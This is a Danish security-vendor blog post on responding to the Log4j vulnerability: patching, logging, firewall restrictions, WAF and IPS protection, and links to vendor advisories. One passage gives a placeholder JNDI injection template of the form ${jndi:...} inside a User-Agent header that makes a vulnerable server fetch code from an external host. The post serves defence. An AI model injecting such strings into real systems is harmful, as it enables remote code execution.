Der er skrevet meget om Log4j i de sidste par døgn. Herunder har Conscia forsøgt at samle nogle vigtige punkter for, hvordan man kan gribe sårbarheden an.
Hvordan skal vi gribe Log4j-sårbarheden an?
1. Opret en asset liste; Hvilke systemer er tilgængelige fra internettet eller andre usikre zoner så som gæstenetværk, og lignende.
Spørg dig selv – hvordan kan sårbarheden komme ind i min virksomhed?
2. Er der allerede en patch tilgængelig til dine assets? Få den installeret hurtigst muligt.
Se links til vores producenter længere nede. Disse lister indeholder løbende opdateringer af systemer og produkter, der er enten sårbare, ikke-sårbare eller under nærmere undersøgelse.
3. Hvis du ikke allerede gør det, så slå fuld logning til på din firewall, dit netværk, dine servere, applikationer og services. Så kan vi se, hvad der er foregået, hvis du måtte være så uheldig, at sårbarheden er blevet udnyttet.
4. Gennemgå aktivt dine logs for sårbarheden. Log-management systemer er nemme at søge i, og sårbarheden er set til helt tilbage til den 2. december.
Hvad gør jeg, hvis der endnu ikke foreligger en patch til mine systemer?
Begræns adgangen til internettet fra dine servere til nødvendige ressourcer så som licensering, DNS og lignende. Du bør specificere både source og destination i dine firewallregler.
Der findes desværre en række muligheder for at udnytte sårbarheden, som kommer meget an på det sårbare system. Hvis sårbarheden eksisterer i en bagvedliggende log-server, som eksempelvis et SIEM, så kan den bagvedliggende server potentielt give adgang til din virksomhed, selvom den ikke er direkte eksponeret mod internettet. Derfor er det ikke nok, at blot kigge på alle assets, der er eksponeret direkte mod internettet.
Husk at kontrollere om din NGFW og Proxy er opdateret med de nyeste regler, samt at reglerne er sat i kraft. Se tidligere blogpost:
https://conscia.com/dk/nyheder/kritisk-saarbarhed-i-apache-log4j/
Har du ADC load-balancing foran dine eksterne publiceret services og har trafikken dekrypteret på ADC-laget? Hvis ja, så har du mulighed for at udnytte de indbyggede beskyttelse mekanismerne som applikation firewall og content filtering, herudover bør man også sikre, at man har den nødvendige logging aktiveret.
I en række scenarier vil det kunne beskytte mod Log4j-sårbarheden, hvis de tilbudte services endnu ikke er blevet patchet/sikret. Det skal nævnes, at i visse konfigurationer vil det ikke give en beskyttelse. Vi henviser til leverandørenes udgivede artikler her:
- https://www.citrix.com/blogs/2021/12/13/guidance-for-reducing-apache-log4j-security-vulnerability-risk-with-citrix-waf/
- https://blogs.vmware.com/load-balancing/2021/12/14/avi-waf-and-cve-2021-44228-apache-log4j-2/
Hvis du sidder tilbage med spørgsmål efter at have læst artiklerne, så er du velkommen til at kontakte din Account Manager.
Udnyt alle våben i dit arsenal
Husk at udnytte alle våben i dit arsenal – Har du Stealthwatch, SIEM og Endpoint Protection, som kan bruges til at spore og blokere eventuel udnyttelse af Log4j? Hvis ja, så brug det.
Hvordan finder vi ud af, hvorvidt vores udstyr er sårbart?
1. Tjek Conscias CNS. Har I adgang til Conscia Best Practice, kan systemet fortælle jer, om I potentielt er sårbare. Der vil dog stadig være behov for manuel verifikation og analyse.
2. Følg med på nedenstående:
- https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-apache-log4j-qRuKNEbd#vp
- https://unit42.paloaltonetworks.com/apache-log4j-vulnerability-cve-2021-44228/
- https://aws.amazon.com/security/security-bulletins/AWS-2021-006/
- https://www.vmware.com/security/advisories/VMSA-2021-0028.html
Hvad er der sket siden sidst?
- Der begynder at være en del forskellige teknikker for at skjule angrebene, blandt andet ved at omgå mønster-baserede detection mechanisms (pattern-based detection mechanisms), såsom IPS-regler. Producenterne arbejder løbende på at adressere disse ændringer.
- Vi begynder at se sårbarheden forsøgt udnyttet vha. SMTP. Tidligere har vi set sårbarheden udnyttet på LDAP(S), RMI, DNS, NIS, IIOP, CORBAL, NDS, HTTP.
- Log4j er released i version 2.16.0. I skal nok forvente en del opdateringer i den kommende tid, så alle kan desværre risikere at skulle patche/opdatere flere gange.
Hvordan udnyttes Log4j-sårbarheden?
Der er desværre mange angrebsvektorer på denne sårbarhed, herunder følger et par simple eksempler:
1. En forespørgsel sendes til en sårbar asset med (eksempelvis) en tilpasset User-Agent, som indeholder følgende sti ${jndi:[protocol]://[ekstern server og eksekverbar kode]}
2. Den sårbare enhed opretter en log-entry gennem Log4j-frameworket med den tilpassede User-Agent
3. Log4j læser den tilpassede User-Agent og sender et svar til den eksterne server.
Herunder er et simpelt eksempel.
Herunder et eksempel fra SMTP:
Kilde: https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html
Hvis du har yderligere spørgsmål, så kontakt Conscia og læs eventuelt tidligere blogposts:
Øvrige kilder:
https://blog.talosintelligence.com/2021/12/apache-log4j-rce-vulnerability.html#more
https://conscia.com/dk/nyheder/kritisk-saarbarhed-i-apache-log4j/